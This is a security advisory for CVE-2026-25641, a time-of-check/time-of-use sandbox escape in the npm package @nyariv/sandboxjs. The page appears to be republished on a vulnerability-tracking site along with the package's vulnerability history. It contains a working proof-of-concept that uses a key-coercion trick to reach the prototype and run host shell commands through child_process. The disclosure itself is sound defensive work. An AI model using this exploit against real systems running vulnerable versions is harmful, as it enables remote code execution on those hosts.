@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses
Summary
A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.
Details
Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced:
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.
PoC
const Sandbox = require('@nyariv/sandboxjs').default;
const code = `
let a = new Map;
a.x = 23;
let count = 0;
let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run();Impact
Remote code execution, if attacker can execute code inside the sandbox.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | @nyariv/sandboxjs | < 0.8.29 | 0.8.29 |
References
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-7x3h-rm86-3342
- https://nvd.nist.gov/vuln/detail/CVE-2026-25641
- https://github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
- https://github.com/nyariv/SandboxJS
- https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-367, CWE-74- Platform
- npm
- Package
@nyariv/sandboxjs- Disclosed
- 05.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-7x3h-rm86-3342 - CC BY 4.0
Vulnerability history: @nyariv/sandboxjs
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 14
- First → latest
- 07.2025 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 10
- High 1
- Medium 3
Disclosures per year
- 2025: 1
- 2026: 13
-
@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.